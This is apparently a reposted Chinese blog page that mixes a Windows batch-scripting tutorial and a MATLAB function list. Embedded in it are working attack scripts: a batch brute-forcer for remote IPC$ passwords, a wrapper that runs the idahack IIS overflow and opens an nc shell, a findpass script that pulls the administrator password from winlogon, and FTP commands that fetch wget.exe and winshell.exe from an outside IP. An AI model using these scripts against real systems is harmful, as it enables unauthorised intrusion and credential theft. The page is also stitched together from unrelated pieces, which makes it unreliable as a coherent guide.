有 关管道命令和组合命令就大概介绍到这里了,不知道聪明的你是否理解?呵呵,能理解就成天才了,除非你以前就已经掌握!千万别小看了这几个鬼命令,大棒槌是 我的说,简直就不是人学的东西!但我还是静下心来研究了一番,最后得出的结论如上所述,已经一点不剩的交给你了,希望你好好收藏并消化吸收,当然有错误被 你发现了,或者不完整的地方被你看出来了,请赶紧告诉我一声!

这几个命令真的把我的头都搞大了。在网上有一篇流传很广的批处理教程:“简 明批处理教程”,虽然说的比较全面,但看起来很不过瘾。在对for等命令介绍时就一个for /? > a.txt & start a.txt完事了(当然这一点上我不能说人家什么,毕竟我连for /?都没给出),而对上述管道命令和组合命令、以及这篇教程以后将讲到的用批处理操作注册表等方面根本没有介绍。我之所以花整整一章来讲管道命令和组合命 令,是因为他们才是批处理的精华和灵魂,能否正确利用好这几个命令,是能否掌握批处理的前提条件。如for、set等DOS命令的问题,可以从DOS的角 度出发专门有针对性的学习,但有关这几个命令的问题,却是不容易精通掌握的----他们之间的关系太复杂了!
将下列代码存为bat文件
1、如果用字典破解:pass.bat 字典文件路径及名称 主机 用户名
2、如果用数字破解:pass.bat 起始数 步长 结束数 主机 用户名
密码破解出来之后,存放于c:\pass.txt文件里面。
将下列代码存为pass.bat文件
@echo off
echo ------------------------------------------------------------------- >>c:\pass.txt
echo ------------------------------------------------------------------- >>c:\pass.txt
date /t >>c:\pass.txt
time /t >>c:\pass.txt
echo 破解结果: >>c:\pass.txt
if "%6"=="1" goto 大棒槌是我的说2
:大棒槌是我的说1
start "正在破解" /min cmd /c for /f %%i in (%1) do call test.bat %2 "%%i" %3
goto quit
:大棒槌是我的说2
start "正在破解" /min cmd /c for /l %%i in (%1,%2,%3) do call test.bat %4 "%%i" %5
:quit
将下列代码存为test.bat
net use \\%1\ipc$ %2 /user:"%3"
goto answer%ERRORLEVEL%
rem %ERRORLEVEL%表示取前一命令执行返回结果,net use成功返回0,失败返回2
:answer0
echo 远程主机:"%1" >>c:\pass.txt
echo 用 户:"%3" >>c:\pass.txt
echo 密 码:%2 >>c:\pass.txt
net use \\%1\ipc$ /delet
exit
:answer2

For
对一组文件中的每个文件运行指定的命令。

可以在批处理程序中或直接从命令提示符使用 for 命令。

要在批处理程序中使用 for 命令,请使用以下语法:

for %%variable in (set) docommand [command-parameters]

要在命令提示符下使用 for,请使用以下语法:

for %variable in (set) do command [command-parameters]

参数

%%variable 或 %variable

代 表可替换的参数。for 命令使用在 set 中指定的每个文本字符串替换 %%variable(或 %variable),直到此命令(在 command-parameters 中指定)处理所有的文件为止。使用 %% variable 在批处理程序中执行 for 命令。使用 % variable 通过命令提示符执行 for 命令。变量名区分大小写。

(set)

指定要用指定的命令处理的一个或多个文件或文本字符串。需要括号。

command

指定要在指定的 set 所包含的每个文件上执行的命令。

command-parameters

指定要用于指定命令(如果指定的命令要使用任何参数或开关)的任何参数或开关。

如果启用了命令扩展(Windows 2000 中的默认设置),将支持 for 命令的其他形式。
For 命令的其他形式
如果启用了命令扩展,将支持如下 for 命令的其他格式:

只限于目录

for /D [%% | %]variable in (set) docommand [command-parameters]

如果 set 包含通配符(* 和 ?),则指定与目录名匹配,而不是文件名。

递归

for /R [[drive :]path] [%% | %]variable in (set) docommand [command-parameters]

进入根目录树[drive:]path,在树的每个目录中执行 for 语句。如果在 /R 后没有指定目录,则假定为当前目录。如果 set 只是一个句号 (.) 字符,则只列举目录树。

迭代

for /L [%% | %]variable in (start,step,end) do command [command-parameters]

集合是一系列按步长量划分的、从头到尾的数字。这样,(1,1,5) 将生成序列 1 2 3 4 5,而 (5,-1,1) 将生成序列 (5 4 3 2 1)。



BAT文件技巧
                          



文章结构
1. 所有内置命令的帮助信息
2. 环境变量的概念
3. 内置的特殊符号(实际使用中间注意避开)
4. 简单批处理文件概念
5. 附件1 tmp.txt
6. 附件2 sample.bat


######################################################################
1. 所有内置命令的帮助信息
######################################################################
ver
cmd /?
set /?
rem /?
if /?
echo /?
goto /?
for /?
shift /?
call /?
其他需要的常用命令
type /?
find /?
findstr /?
copy /?
______________________________________________________________________
下面将所有上面的帮助输出到一个文件
echo ver >tmp.txt
ver >>tmp.txt
echo cmd /? >>tmp.txt
cmd /? >>tmp.txt
echo rem /? >>tmp.txt
rem /? >>tmp.txt
echo if /? >>tmp.txt
if /? >>tmp.txt
echo goto /? >>tmp.txt
goto /? >>tmp.txt
echo for /? >>tmp.txt
for /? >>tmp.txt
echo shift /? >>tmp.txt
shift /? >>tmp.txt
echo call /? >>tmp.txt
call /? >>tmp.txt
echo type /? >>tmp.txt
type /? >>tmp.txt
echo find /? >>tmp.txt
find /? >>tmp.txt
echo findstr /? >>tmp.txt
findstr /? >>tmp.txt
echo copy /? >>tmp.txt
copy /? >>tmp.txt
type tmp.txt
______________________________________________________

######################################################################
2. 环境变量的概念
######################################################################
_____________________________________________________________________________
C:Program Files>set
ALLUSERSPROFILE=C:Documents and SettingsAll Users
CommonProgramFiles=C:Program FilesCommon Files
COMPUTERNAME=FIRST
ComSpec=C:WINNTsystem32cmd.exe
NUMBER_OF_PROCESSORS=1
OS=Windows_NT
Os2LibPath=C:WINNTsystem32os2dll;
Path=C:WINNTsystem32;C:WINNT;C:WINNTsystem32WBEM
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
PROCESSOR_ARCHITECTURE=x86
PROCESSOR_IDENTIFIER=x86 Family 6 Model 6 Stepping 5, GenuineIntel
PROCESSOR_LEVEL=6
PROCESSOR_REVISION=0605
ProgramFiles=C:Program Files
PROMPT=$P$G
SystemDrive=C:
SystemRoot=C:WINNT
TEMP=C:WINNTTEMP
TMP=C:WINNTTEMP
USERPROFILE=C:Documents and SettingsDefault User
windir=C:WINNT
_____________________________________________________________________________

path: 表示可执行程序的搜索路径. 我的建议是你把你的程序copy 到
%windir%system32. 这个目录里面. 一般就可以自动搜索到.
语法: copy mychenxu.exe %windir%system32.
使用点(.) 便于一目了然
对环境变量的引用使用(英文模式,半角)双引号
%windir% 变量
%%windir%% 二次变量引用.
我们常用的还有
%temp% 临时文件目录
%windir% 系统目录
%errorlevel% 退出代码

输出文件到临时文件目录里面.这样便于当前目录整洁.

对有空格的参数. 你应该学会使用双引号("") 来表示比如对porgram file文件夹操作
C:>dir p*
C: 的目录
2000-09-02 11:47 2,164 PDOS.DEF
1999-01-03 00:47

Program Files
1 个文件 2,164 字节
1 个目录 1,505,997,824 可用字节

C:>cd pro*
C:Program Files>

C:>
C:>cd "Program Files"
C:Program Files>


######################################################################
3. 内置的特殊符号(实际使用中间注意避开)
######################################################################
微软里面内置了下列字符不能够在创建的文件名中间使用
con nul aux / | || && ^ > < *

You can use most characters as variable values, including white space. If you use the special characters <, >, |, &, or ^, you must precede them with the escape character (^) or quotation marks. If you use quotation marks, they are included as part of the value because everything following the equal sign is taken as the value. Consider the following examples:
(大意: 要么你使用^作为前导字符表示.或者就只有使用双引号""了)
To create the variable value new&name, type:
set varname=new^&name

To create the variable value "new&name", type:
set varname="new&name"

The ampersand (&), pipe (|), and parentheses ( ) are special characters that must be preceded by the escape character (^) or quotation marks when you pass them as arguments.

find "Pacific Rim" < trade.txt > nwtrade.txt
IF EXIST filename. (del filename.) ELSE echo filename. missing

> 创建一个文件
>> 追加到一个文件后面
@ 前缀字符.表示执行时本行在cmd里面不显示, 可以使用 echo off关闭显示
^ 对特殊符号( > < &)的前导字符. 第一个只是显示aaa 第二个输出文件bbb
echo 123456 ^> aaa
echo 1231231 > bbb
() 包含命令
(echo aa & echo bb)
, 和空格一样的缺省分隔符号.
; 注释,表示后面为注释
: 标号作用
| 管道操作
& Usage:第一条命令 & 第二条命令 [& 第三条命令...]
用这种方法可以同时执行多条命令,而不管命令是否执行成功
dir c:*.exe & dir d:*.exe & dir e:*.exe
&& Usage:第一条命令 && 第二条命令 [&& 第三条命令...]
当碰到执行出错的命令后将不执行后面的命令,如果一直没有出错则一直执行完所有命令;
|| Usage:第一条命令 || 第二条命令 [|| 第三条命令...]
当碰到执行正确的命令后将不执行后面的命令,如果没有出现正确的命令则一直执行完所有命令;

常用语法格式
IF [NOT] ERRORLEVEL number command para1 para2
IF [NOT] string1==string2 command para1 para2
IF [NOT] EXIST filename command para1 para2

IF EXIST filename command para1 para2
IF NOT EXIST filename command para1 para2
IF "%1"=="" goto END
IF "%1"=="net" goto NET
IF NOT "%2"=="net" goto OTHER
IF ERRORLEVEL 1 command para1 para2
IF NOT ERRORLEVEL 1 command para1 para2
FOR /L %%i IN (start,step,end) DO command [command-parameters] %%i
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do echo %i %j %k
按照字母顺序 ijklmnopq依次取参数.
eol=c - 指一个行注释字符的结尾(就一个)
skip=n - 指在文件开始时忽略的行数。
delims=xxx - 指分隔符集。这个替换了空格和跳格键的默认分隔符集。


######################################################################
4. 简单批处理文件概念
######################################################################

echo This is test > a.txt
type a.txt
echo This is test 11111 >> a.txt
type a.txt
echo This is test 22222 > a.txt
type a.txt
第二个echo是追加
第三个echo将清空a.txt 重新创建 a.txt

netstat -n | find "3389"
这个将要列出所有连接3389的用户的ip.

________________test.bat___________________________________________________
@echo please care
echo plese care 1111
echo plese care 2222
echo plese care 3333
@echo please care
@echo plese care 1111
@echo plese care 2222
@echo plese care 3333
rem 不显示注释语句,本行显示
@rem 不显示注释语句,本行不显示
@if exist %windir%system32find.exe (echo Find find.exe !!!) else (echo ERROR: Not find find.exe)
@if exist %windir%system32fina.exe (echo Find fina.exe !!!) else (echo ERROR: Not find fina.exe)
___________________________________________________________________________

下面我们以具体的一个idahack程序就是ida远程溢出为例子.应该是很简单的.

___________________ida.bat_________________________________________________
@rem ver 1.0
@if NOT exist %windir%system32idahack.exe echo "ERROR: dont find idahack.exe"
@if NOT exist %windir%system32nc.exe echo "ERROR: dont find nc.exe"

@if "%1" =="" goto USAGE
@if NOT "%2" =="" goto SP2

:start
@echo Now start ...
@ping %1
@echo chinese win2k:1 sp1:2 sp2:3
idahack.exe %1 80 1 99 >%temp%_tmp
@echo "prog exit code [%errorlevel%] idahack.exe"
@type %temp%_tmp
@find "good luck :)" %temp%_tmp
@echo "prog exit code [%errorlevel%] find [goog luck]"
@if NOT errorlevel 1 nc.exe %1 99
@goto END

:SP2
@idahack.exe %1 80 %2 99 %temp%_tmp
@type %temp%_tmp
@find "good luck :)" %temp%_tmp
@if NOT errorlevel 1 nc.exe %1 99
@goto END

:USAGE
@echo Example: ida.bat IP
@echo Example: ida.bat IP (2,3)

:END
_____________________ida.bat__END_________________________________

下面我们再来第二个文件.就是得到administrator的口令.
大多数人说得不到.其实是自己的没有输入正确的信息.

___________________________fpass.bat____________________________________________
@rem ver 1.0
@if NOT exist %windir%system32findpass.exe echo "ERROR: dont find findpass.exe"
@if NOT exist %windir%system32pulist.exe echo "ERROR: dont find pulist.exe"

@echo start....
@echo ____________________________________
@if "%1"=="" goto USAGE
@findpass.exe %1 %2 %3 >> %temp%_findpass.txt
@echo "prog exit code [%errorlevel%] findpass.exe"
@type %temp%_findpass.txt
@echo ________________________________Here__pass★★★★★★★★
@ipconfig /all >>%temp%_findpass.txt
@goto END

:USAGE
@pulist.exe >%temp%_pass.txt
@findstr.exe /i "WINLOGON explorer internat" %temp%_pass.txt
@echo "Example: fpass.bat %1 %2 %3 %4 !!!"
@echo "Usage: findpass.exe DomainName UserName PID-of-WinLogon"

:END
@echo " fpass.bat %COMPUTERNAME% %USERNAME% administrator "
@echo " fpass.bat end [%errorlevel%] !"
_________________fpass.bat___END________________________________________

还有一个就是已经通过telnet登陆了一个远程主机.怎样上传文件(win)
依次在窗口输入下面的东西. 当然了也可以全部拷贝.Ctrl+V过去. 然后就等待吧!!

echo open 210.64.x.4 3396>w
echo read>>w
echo read>>w
echo cd winnt>>w
echo binary>>w
echo pwd >>w
echo get wget.exe >>w
echo get winshell.exe >>w
echo get any.exe >>w
echo quit >>w
ftp -s:w

出处:转贴
8/14/2008

[计算机]Matlab常用命令

    MATLAB常用的基本数学函数

abs(x):纯量的绝对值或向量的长度

angle(z):复数z的相角(Phase angle)

sqrt(x):开平方

real(z):复数z的实部

imag(z):复数z的虚部

conj(z):复数z的共轭复数

round(x):四舍五入至最近整数

fix(x):无论正负,舍去小数至最近整数

floor(x):地板函数,即舍去正小数至最近整数

ceil(x):天花板函数,即加入正小数至最近整数

rat(x):将实数x化为分数表示

rats(x):将实数x化为多项分数展开

sign(x):符号函数 (Signum function)。

rem(x,y):求x除以y的馀数

gcd(x,y):整数x和y的最大公因数

lcm(x,y):整数x和y的最小公倍数

exp(x):自然指数

pow2(x):2的指数

log(x):以e为底的对数,即自然对数或

log2(x):以2为底的对数

log10(x):以10为底的对数

MATLAB常用的三角函数

sin(x):正弦函数

cos(x):馀弦函数

tan(x):正切函数

asin(x):反正弦函数

acos(x):反馀弦函数

atan(x):反正切函数

atan2(x,y):四象限的反正切函数

sinh(x):超越正弦函数

cosh(x):超越馀弦函数

tanh(x):超越正切函数

asinh(x):反超越正弦函数

acosh(x):反超越馀弦函数

atanh(x):反超越正切函数

适用於向量的常用函数有:

min(x): 向量x的元素的最小值

max(x): 向量x的元素的最大值

mean(x): 向量x的元素的平均值

median(x): 向量x的元素的中位数

std(x): 向量x的元素的标准差

diff(x): 向量x的相邻元素的差

sort(x): 对向量x的元素进行排序(Sorting)

length(x): 向量x的元素个数

norm(x): 向量x的欧氏(Euclidean)长度

sum(x): 向量x的元素总和

prod(x): 向量x的元素总乘积

cumsum(x): 向量x的累计元素总和

cumprod(x): 向量x的累计元素总乘积

dot(x, y): 向量x和y的内积

cross(x, y): 向量x和y的外积

MATLAB的永久常数

i或j:基本虚数单位

eps:系统的浮点(Floating-point)精确度

inf:无限大, 例如1/0

nan或NaN:非数值(Not a number),例如0/0

pi:圆周率 p(= 3.1415926...)

realmax:系统所能表示的最大数值

realmin:系统所能表示的最小数值

nargin: 函数的输入引数个数

nargin: 函数的输出引数个数

 
感谢访问!
Please wait...
Sorry, the comment you entered is too long. Please shorten it.
You didn't enter anything. Please try again.
Sorry, we can't add your comment right now. Please try again later.
To add a comment, you need permission from your parent. Ask for permission
Your parent has turned off comments.
Sorry, we can't delete your comment right now. Please try again later.
You've exceeded the maximum number of comments that can be left in one day. Please try again in 24 hours.
Your account has had the ability to leave comments disabled because our systems indicate that you may be spamming other users. If you believe that your account has been disabled in error please contact Windows Live support.
Complete the security check below to finish leaving your comment.
The characters you type in the security check must match the characters in the picture or audio.